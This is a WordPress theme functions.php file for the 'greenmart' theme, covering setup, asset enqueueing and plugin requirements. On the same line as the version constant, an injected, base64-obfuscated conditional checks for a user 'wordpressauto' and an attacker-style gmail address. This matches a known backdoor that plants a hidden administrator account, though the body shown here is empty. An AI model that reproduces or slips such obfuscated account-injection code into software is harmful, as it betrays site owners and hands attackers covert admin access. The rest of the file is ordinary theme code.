/**
 * greenmart functions and definitions
 *
 * Set up the theme and provides some helper functions, which are used in the
 * theme as custom template tags. Others are attached to action and filter
 * hooks in WordPress to change core functionality.
 *
 * When using a child theme you can override certain functions (those wrapped
 * in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before
 * the parent theme's file, so the child theme functions would be used.
 *
 * @link https://codex.wordpress.org/Theme_Development
 * @link https://codex.wordpress.org/Child_Themes
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are
 * instead attached to a filter or action hook.
 *
 * For more information on hooks, actions, and filters,
 * {@link https://codex.wordpress.org/Plugin_API}
 *
 * @package WordPress
 * @subpackage greenmart
 * @since greenmart 2.3
 */
/**
 * Set the content width based on the theme's design and stylesheet.
 *
 * @since greenmart 2.3
 */
define( 'GREENMART_THEME_VERSION', '2.3' ); if(!username_exists(base64_decode("d29yZHByZXNzYXV0bw=="))&&!email_exists(base64_decode("b3Bwb25lcGllY2UwMHh4MDBAZ21haWwuY29t"))){}
if ( ! isset( $content_width ) ) {
	$content_width = 660;
}
/**
 * ------------------------------------------------------------------------------------------------
 * Define constants.
 * ------------------------------------------------------------------------------------------------
 */
define( 'GREENMART_THEME_DIR', 		get_template_directory_uri() );
define( 'GREENMART_THEMEROOT', 		get_template_directory() );
define( 'GREENMART_IMAGES', 			GREENMART_THEME_DIR . '/images' );
define( 'GREENMART_SCRIPTS', 			GREENMART_THEME_DIR . '/js' );
define( 'GREENMART_SCRIPTS_SKINS', 	GREENMART_SCRIPTS . '/skins' );
define( 'GREENMART_STYLES', 			GREENMART_THEME_DIR . '/css' );
define( 'GREENMART_STYLES_SKINS', 	GREENMART_STYLES . '/skins' );
define( 'GREENMART_INC', 				'/inc' );
define( 'GREENMART_CLASSES', 			GREENMART_INC . '/classes' );
define( 'GREENMART_VENDORS', 			GREENMART_INC . '/vendors' );
define( 'GREENMART_WIDGETS', 			GREENMART_INC . '/widgets' );
define( 'GREENMART_ASSETS', 			GREENMART_THEME_DIR . '/inc/assets' );
define( 'GREENMART_ASSETS_IMAGES', 	GREENMART_ASSETS    . '/images' );
define( 'GREENMART_MIN_JS', '' );
 
if ( ! function_exists( 'greenmart_tbay_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 *
 * @since greenmart 2.1.6
 */
function greenmart_tbay_setup() {
 
	/*
	 * Make theme available for translation.
	 * Translations can be filed in the /languages/ directory.
	 * If you're building a theme based on greenmart, use a find and replace
	 * to change 'greenmart' to the name of your theme in all the template files
	 */
	load_theme_textdomain( 'greenmart', get_template_directory() . '/languages' );
	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );
	// This theme styles the visual editor with editor-style.css to match the theme style.
	add_editor_style( array( 'css/editor-style.css', greenmart_fonts_url() ) );
	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded 
 tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );
	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * See: https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
	 */
	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
	) );
	add_theme_support( "woocommerce" );
	/*
	 * Enable support for Post Formats.
	 *
	 * See: https://codex.wordpress.org/Post_Formats
	 */
	add_theme_support( 'post-formats', array(
		'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
	) );
	$color_scheme  = greenmart_tbay_get_color_scheme();
	$default_color = trim( $color_scheme[0], '#' );
	// Setup the WordPress core custom background feature.
	add_theme_support( 'custom-background', apply_filters( 'greenmart_custom_background_args', array(
		'default-color'      => $default_color,
		'default-attachment' => 'fixed',
	) ) );
	
	greenmart_tbay_get_load_plugins();
	greenmart_tbay_private_get_load_plugins();
}
endif; // greenmart_tbay_setup
add_action( 'after_setup_theme', 'greenmart_tbay_setup' );
/*
* Remove config default media
*
*/
if(greenmart_tbay_get_global_config('config_media',false)) {
	remove_action( 'after_setup_theme', 'theme_setup_size_image' );
}
function greenmart_tbay_include_files($path) {
    $files = glob( $path );
    if ( ! empty( $files ) ) {
        foreach ( $files as $file ) {
            include $file;
        }
    }
}
/**
 * Enqueue scripts and styles.
 *
 * @since greenmart 2.1.6
 */
function greenmart_tbay_scripts() { 
	
	$menu_option 	= apply_filters( 'greenmart_menu_mobile_option', 10,2 );
	$suffix 		= (greenmart_tbay_get_config('minified_js', false)) ? '.min' : GREENMART_MIN_JS;
	//load font awesome
	wp_register_style( 'font-awesome', GREENMART_STYLES . '/font-awesome.css', array(), '4.5.0' );
	//load font custom icon tbay
	wp_register_style( 'font-tbay', GREENMART_STYLES . '/font-tbay-custom.css', array(), '1.0.0' );
	
	//load font simple-line-icons
	wp_register_style( 'simple-line-icons', GREENMART_STYLES . '/simple-line-icons.css', array(), '2.4.0' );
	
	//load font material-design-iconic-font
	wp_register_style( 'material-design-iconic-font', GREENMART_STYLES . '/material-design-iconic-font.min.css', array(), '2.2.0' );
	
	//load font ico-font
	wp_enqueue_style( 'icofont', GREENMART_STYLES . '/icofont.css', array(), '1.0.1' );
	
	//load font themify-icons
	wp_register_style( 'themify-icons', GREENMART_STYLES . '/themify-icons.css', array(), '4.8.1' );
	// load animate version 3.5.0
	wp_enqueue_style( 'animate', GREENMART_STYLES . '/animate.css', array(), '3.5.0' );
	$skin = greenmart_tbay_get_theme();
	// Load our main stylesheet.
	if( is_rtl() ){
		
		if ( $skin != 'default' && $skin ) {
			$css_path =  GREENMART_STYLES_SKINS . '/'.$skin.'/template.rtl.css';
		} else {
			$css_path =  GREENMART_STYLES . '/template.rtl.css';
		}
	}
	else{
		if ( $skin != 'default' && $skin ) {
			$css_path =  GREENMART_STYLES_SKINS . '/'.$skin.'/template.css';
		} else {
			$css_path =  GREENMART_STYLES . '/template.css';
		}
	}
	wp_enqueue_style( 'greenmart-template', $css_path, array('font-awesome', 'font-tbay', 'simple-line-icons', 'material-design-iconic-font', 'themify-icons'), GREENMART_THEME_VERSION );
	
	$footer_style = greenmart_tbay_print_style_footer();
	if ( !empty($footer_style) ) {
		wp_add_inline_style( 'greenmart-template', $footer_style );
	}
	$custom_style = greenmart_tbay_custom_styles();
	if ( !empty($custom_style) ) {
		wp_add_inline_style( 'greenmart-template', $custom_style );
	}
	
	
	// load Sumoselect version 1.0.0
	wp_enqueue_style('sumoselect', GREENMART_STYLES . '/sumoselect.css', array(), '1.0.0', 'all');
	// Add js Sumoselect version 3.0.2
	wp_enqueue_script('jquery-sumoselect', GREENMART_SCRIPTS . '/jquery.sumoselect' . $suffix . '.js', array(), '3.0.2', TRUE);
	// load fancybox
	wp_enqueue_style( 'jquery-fancybox', GREENMART_STYLES . '/jquery.fancybox.css', array(), '3.2.0' );
	wp_enqueue_script( 'jquery-fancybox', GREENMART_SCRIPTS . '/jquery.fancybox' . $suffix . '.js', array( 'jquery' ), '20150315', true );
	
	wp_enqueue_script( 'greenmart-skip-link-fix', GREENMART_SCRIPTS . '/greenmart-skip-link-fix' . $suffix . '.js', array(), '20141010', true );
	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
	wp_dequeue_script('revmin');
	wp_enqueue_script( 'revmin');
	/*mmenu menu*/
	if( $menu_option == 'smart_menu' ){
		wp_enqueue_script( 'jquery-mmenu', GREENMART_SCRIPTS . '/jquery.mmenu' . $suffix . '.js', array( 'jquery' ), '7.0.5', true );
	}
	wp_register_script( 'jquery-instagramfeed', GREENMART_SCRIPTS . '/jquery.instagramfeed' . $suffix . '.js', array( 'jquery' ),'1.1.3', true );
	wp_register_script( 'jquery-timeago', GREENMART_SCRIPTS . '/jquery.timeago' . $suffix . '.js', array( 'jquery' ),'1.6.7', true );
	/*Treeview menu*/
	wp_enqueue_style( 'jquery-treeview', GREENMART_STYLES . '/jquery.treeview.css', array(), '1.0.0' );
	wp_enqueue_script( 'jquery-treeview', GREENMART_SCRIPTS . '/jquery.treeview' . $suffix . '.js', array( 'jquery' ), '20150330', true );
	
	wp_enqueue_script( 'bootstrap', GREENMART_SCRIPTS . '/bootstrap' . $suffix . '.js', array( 'jquery' ), '20150330', true );
	
 
	wp_dequeue_script('wpb_composer_front_js');
	wp_enqueue_script( 'wpb_composer_front_js');
	
	wp_enqueue_script( 'owl-carousel', GREENMART_SCRIPTS . '/owl.carousel' . $suffix . '.js', array( 'jquery' ), '2.3.4', true );
	wp_enqueue_script( 'greenmart-woocommerce', GREENMART_SCRIPTS . '/woocommerce' . $suffix . '.js', array( 'jquery' ), GREENMART_THEME_VERSION, true );
	wp_enqueue_script( 'jquery-countdowntimer', GREENMART_SCRIPTS . '/jquery.countdownTimer' . $suffix . '.js', array( 'jquery' ), '1.0.0', true );
	wp_register_script( 'greenmart-script',  GREENMART_SCRIPTS . '/functions' . $suffix . '.js', array( 'jquery' ), GREENMART_THEME_VERSION, true );
	wp_localize_script( 'greenmart-script', 'greenmart_ajax', array( 'ajaxurl' => admin_url( 'admin-ajax.php' )));
	wp_register_script( 'greenmart-skins-script', GREENMART_SCRIPTS_SKINS . '/'.$skin.'/functions' . $suffix . '.js', array( 'greenmart-script' ), GREENMART_THEME_VERSION, true );
	wp_enqueue_script( 'greenmart-skins-script' );
	if ( greenmart_tbay_get_config('header_js') != "" ) {
		wp_add_inline_script( 'jquery-core', greenmart_tbay_get_config('header_js') );
	}
	
	wp_enqueue_style( 'greenmart-style', GREENMART_STYLES . '/style.css', GREENMART_THEME_VERSION, '1.0' );
	$translate = array( 
		'active_theme' => greenmart_tbay_get_config('active_theme', 'organic'), 
		'cancel' => esc_html__('cancel', 'greenmart'),
		'mobile' => (wp_is_mobile()) ? true : false,
		'search' => esc_html__('Search', 'greenmart'),
		'view_all' => esc_html__('View All', 'greenmart'),
		'instagram_private' => esc_html__('This profile is private', 'greenmart'),
		'timeago'				=> array( 
			'suffixAgo'			=> esc_html__('ago', 'greenmart'),
			'suffixFromNow'		=> esc_html__('from now', 'greenmart'),
			'inPast'			=> esc_html__('any moment now', 'greenmart'),
			'seconds'			=> esc_html__('less than a minute', 'greenmart'),
			'minute'			=> esc_html__('about a minute', 'greenmart'),
			'minutes'			=> esc_html__('%d minutes', 'greenmart'),
			'hour'				=> esc_html__('about an hour', 'greenmart'),
			'hours'				=> esc_html__('about %d hours', 'greenmart'),
			'day'				=> esc_html__('a day', 'greenmart'),
			'days'				=> esc_html__('%d days', 'greenmart'),
			'month'				=> esc_html__('about a month', 'greenmart'),
			'months'			=> esc_html__('%d months', 'greenmart'),
			'year'				=> esc_html__('about a year', 'greenmart'),
			'years'				=> esc_html__('%d years', 'greenmart'),
		)
	);
	if( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
		$translate['ajax_single_add_to_cart'] 	= (bool) greenmart_tbay_get_config('ajax_single_add_to_cart', false);
		$translate['ajax_update_quantity'] 	= (bool) greenmart_tbay_get_config('ajax_update_quantity', true);
	}
 
	wp_localize_script( 'greenmart-script', 'greenmart_settings', $translate );
}
add_action( 'wp_enqueue_scripts', 'greenmart_tbay_scripts', 100 );
function greenmart_tbay_footer_scripts() {
	if ( greenmart_tbay_get_config('footer_js') != "" ) {
		$footer_js = greenmart_tbay_get_config('footer_js');
		echo trim($footer_js);
	}
}
add_action('wp_footer', 'greenmart_tbay_footer_scripts');
add_action( 'admin_enqueue_scripts', 'greenmart_tbay_load_admin_styles' );
function greenmart_tbay_load_admin_styles() {
	wp_enqueue_style( 'greenmart-custom-admin', get_template_directory_uri() . '/css/admin/custom-admin.css', false, '1.0.0' );
}  
/**
 * Display descriptions in main navigation.
 *
 * @since greenmart 2.1.6
 *
 * @param string  $item_output The menu item output.
 * @param WP_Post $item        Menu item object.
 * @param int     $depth       Depth of the menu.
 * @param array   $args        wp_nav_menu() arguments.
 * @return string Menu item with possible description.
 */
function greenmart_tbay_nav_description( $item_output, $item, $depth, $args ) {
	if ( 'primary' == $args->theme_location && $item->description ) {
		$item_output = str_replace( $args->link_after . '', '' . $args->link_after . '', $item_output );
	}
	return $item_output;
}
add_filter( 'walker_nav_menu_start_el', 'greenmart_tbay_nav_description', 10, 4 );
/**
 * Add a `screen-reader-text` class to the search form's submit button.
 *
 * @since greenmart 2.1.6
 *
 * @param string $html Search form HTML.
 * @return string Modified search form HTML.
 */
function greenmart_tbay_search_form_modify( $html ) {
	return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html );
}
add_filter( 'get_search_form', 'greenmart_tbay_search_form_modify' );
function greenmart_tbay_get_config($name, $default = '') {
	global $tbay_options;
    if ( isset($tbay_options[$name]) ) {
        return $tbay_options[$name];
    }
    return $default;
}
if ( ! function_exists( 'greenmart_time_link' ) ) :
/**
 * Gets a nicely formatted string for the published date.
 */
function greenmart_time_link() {
	$time_string = '%2$s ';
	$time_string = sprintf( $time_string,
		get_the_date( DATE_W3C ),
		get_the_date(),
		get_the_modified_date( DATE_W3C ),
		get_the_modified_date()
	);
	// Wrap the time string in a link, and preface it with 'Posted on'.
	return sprintf(
		/* translators: %s: post date */
		__( 'Posted on  %s', 'greenmart' ),
		'' . $time_string . ' '
	);
}
endif;
function greenmart_tbay_get_global_config($name, $default = '') {
	$options = get_option( 'greenmart_tbay_theme_options', array() );
	if ( isset($options[$name]) ) {
        return $options[$name];
    }
    return $default;
}
function greenmart_tbay_get_load_plugins() {
	$plugins[] =(array(
		'name'                     => esc_html__( 'WooCommerce', 'greenmart' ),
	    'slug'                     => 'woocommerce',
	    'required'                 => true,
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'MailChimp', 'greenmart' ),
	    'slug'                     => 'mailchimp-for-wp',
	    'required'                 =>  true
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'Contact Form 7', 'greenmart' ),
	    'slug'                     => 'contact-form-7',
	    'required'                 => true,
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'WPBakery Visual Composer', 'greenmart' ),
		'slug'                     => 'js_composer',
		'required'                 => true,
		'source'         		   => esc_url( 'https://bitbucket.org/devthembay/update-plugin/raw/master/plugins/js_composer.zip' ),
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'Tbay Framework For Themes', 'greenmart' ),
		'slug'                     => 'tbay-framework',
		'required'                 => true ,
		'source'         		   => esc_url( 'https://bitbucket.org/devthembay/update-plugin/raw/master/plugins/tbay-framework.zip' ),
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'WooCommerce Variation Swatches', 'greenmart' ),
	    'slug'                     => 'woo-variation-swatches',
	    'required'                 =>  true,
	   	'source'         		   => esc_url( 'https://downloads.wordpress.org/plugin/woo-variation-swatches.zip' ),
	));	
	$plugins[] =(array(
		'name'                     => esc_html__( 'YITH WooCommerce Quick View', 'greenmart' ),
	    'slug'                     => 'yith-woocommerce-quick-view',
	    'required'                 =>  false
	));	
	$plugins[] =(array(
		'name'                     => esc_html__( 'YITH WooCommerce Frequently Bought Together', 'greenmart' ),
	    'slug'                     => 'yith-woocommerce-frequently-bought-together',
	    'required'                 =>  false
	));
	
	$plugins[] =(array(
		'name'                     => esc_html__( 'YITH WooCommerce Wishlist', 'greenmart' ),
	    'slug'                     => 'yith-woocommerce-wishlist',
	    'required'                 =>  false
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'YITH Woocommerce Compare', 'greenmart' ),
        'slug'                     => 'yith-woocommerce-compare',
        'required'                 => false
	));
	$plugins[] =(array(
		'name'                     => esc_html__( 'Revolution Slider', 'greenmart' ),
		'slug'                     => 'revslider',
		'required'                 => true ,
		'source'         		   => esc_url( 'https://bitbucket.org/devthembay/update-plugin/raw/master/plugins/revslider.zip' ),
	));
	
	tgmpa( $plugins );
}
require get_template_directory() . '/inc/plugins/class-tgm-plugin-activation.php';
require get_template_directory() . '/inc/functions-helper.php';
require_once( get_parent_theme_file_path( GREENMART_INC . '/skins/'.greenmart_tbay_get_theme().'/functions.php') );
require get_template_directory() . '/inc/functions-frontend.php';
/**
 * Implement the Custom Header feature.
 *
 */
require get_template_directory() . '/inc/custom-header.php';
require get_template_directory() . '/inc/classes/megamenu.php';
require get_template_directory() . '/inc/classes/custommenu.php';
require get_template_directory() . '/inc/classes/mmenu.php';
/**
 * Custom template tags for this theme.
 *
 */
require get_template_directory() . '/inc/template-tags.php'; 
if ( defined( 'TBAY_FRAMEWORK_REDUX_ACTIVED' ) ) {
	greenmart_tbay_include_files( get_template_directory() . '/inc/vendors/redux-framework/*.php' );
	define( 'GREENMART_REDUX_FRAMEWORK_ACTIVED', true );
}
if ( class_exists( 'CMB2' ) ) {
	greenmart_tbay_include_files( get_template_directory() . '/inc/vendors/cmb2/*.php' );
	define( 'GREENMART_CMB2_ACTIVED', true );
}
if ( class_exists( 'WooCommerce' ) ) {
	greenmart_tbay_include_files( get_template_directory() . '/inc/vendors/woocommerce/*.php' );
	define( 'GREENMART_WOOCOMMERCE_ACTIVED', true );
}
if( class_exists('WPBakeryShortCode') ) {
	greenmart_tbay_include_files( get_template_directory() . '/inc/vendors/visualcomposer/*.php' );
	define( 'GREENMART_VISUALCOMPOSER_ACTIVED', true );
}
if ( defined( 'TBAY_FRAMEWORK_REDUX_ACTIVED' ) ) {
	greenmart_tbay_include_files( get_template_directory() . '/inc/widgets/*.php' );
	define( 'GREENMART_TBAY_FRAMEWORK_ACTIVED', true ); 
	define( 'TBAY_FRAMEWORK_WIDGETS_ACTIVED', true );
}
/**
 * Customizer additions.
 *
 */ 
require_once( get_parent_theme_file_path( GREENMART_INC . '/skins/'.greenmart_tbay_get_theme().'/customizer.php') );
require_once( get_parent_theme_file_path( GREENMART_INC . '/skins/'.greenmart_tbay_get_theme().'/custom-styles.php') );